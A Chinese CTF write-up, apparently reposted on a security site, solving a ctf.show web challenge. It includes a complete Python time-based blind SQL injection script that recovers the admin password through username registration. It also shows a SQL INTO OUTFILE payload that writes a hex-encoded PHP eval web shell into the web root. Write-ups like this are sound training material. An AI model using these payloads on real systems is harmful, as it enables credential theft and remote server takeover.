萌新赛-假赛

admin 2022年1月5日23:09:55CTF专场评论12 views1940字阅读6分28秒阅读模式

>

>

萌新赛-假赛

yuchoxuuan

1。据说我的解法又是非预期。。。晕死了看来我真不适合做web。

一上来先看到代码,大意是登录之后如果你是admin,然后带一个符合正则表达式的参数c就ok了,
这个c好说,啥都不给他就中了,关键是怎么用admin
,然后我的思路就错了,我的重点放在了这一行

$name=$_SESSION['name'];
    **$sql='select pass from user where name="'.$name.'"';**
    echo $sql."<br />";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);

明显利用用户名可以注入啊。然后去用户注册页和登录界面试了一下

萌新赛-假赛
发现啥都能注册,而且index啥都不检查就跑,然后我就在非预期的绝路上一骑绝尘了。

我的思路是酱紫的,把攻击载荷写在用户名里,拿去注册,然后去登录,然后登录成功了之后index就会用我(带负载的)用户名去执行sql,这就完成了一次注入了,可是因为无回显鸭,所以用时间盲住就好了,然后拿着注到的admin口令去登录就好了鸭
于是。。。

def post(url,params={},): return requests.post(url, data=params,timeout=(10,10)).text
url='https://87326b40-1fbe-4f25-841d-b27c6ea23a62.chall.ctf.show'
reg='/register.php'
log='/login.php'
def check(pl=''):
    pl= 'admin" and if((%s),sleep(2),0) -- -'%pl
    #print(pl)
    inf={'name':pl,'pass':'d'}
    post(url+reg,inf) #注册,不放在try里面,这样断网的时候就会出错强退了,省的浪费时间
    try: # 因为时间盲住久了有时候会超时,反正超时也算成功吧
        t0 = tm.now()
        post(url+log,inf)
        dt = tm.now() - t0
        if dt.seconds >1 : return True
        else:return False
    except:
        return True
 #先跑一下长度, 因为我做过一次了知道是32位的,就设大一点节省时间了
pwsl=32
for i in range(pwsl,80):
    pl = 'length(pass)=%d'%i
    if check(pl):
        pwsl = i 
        print("PWSL:",i)
        break
pws='3e858ccd79287cfe8509f15a71b4c45' #作用是如果猜出来一部分然后断开了,可以接着猜。
alphabet = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','?','!',',','|','[',']','{','}','_','/','*','-','+','&',"%",'#','@','$','~',]

for i in range(pwsl-len(pws)):
    print('\n%-40s |%2d| '%(pws,i),end='')
    for j in alphabet :
        print(j,end='')
        pl = 'pass like "%s%%"'%(pws+j)
        if check(pl) :
            pws+=j
            break
print("\n\n"+'- '*30 )
print('PWS:  ',pws)
print(""+'- '*30 )

然后就是漫长的等待了,看了大佬的wp,我都被我自己蠢哭了。。。

--解法2.
后来琢磨过来不对劲,已经可以注入了为啥不试试文件读写所以试了一下
name=" union select unhex('3c3f70687020406576616c28245f504f53545b2761275d293b3f3e') into outfile '/var/www/html/a.php' -- -
萌新赛-假赛
其中 /var/www/html/ 是Nginx常用的部署地址,反正已经蠢到这个份上了,盲猜一下也不丢人。
然后直接上一键看看

一排文件挨个点


特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:09:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  萌新赛-假赛 http://cn-sec.com/archives/719995.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: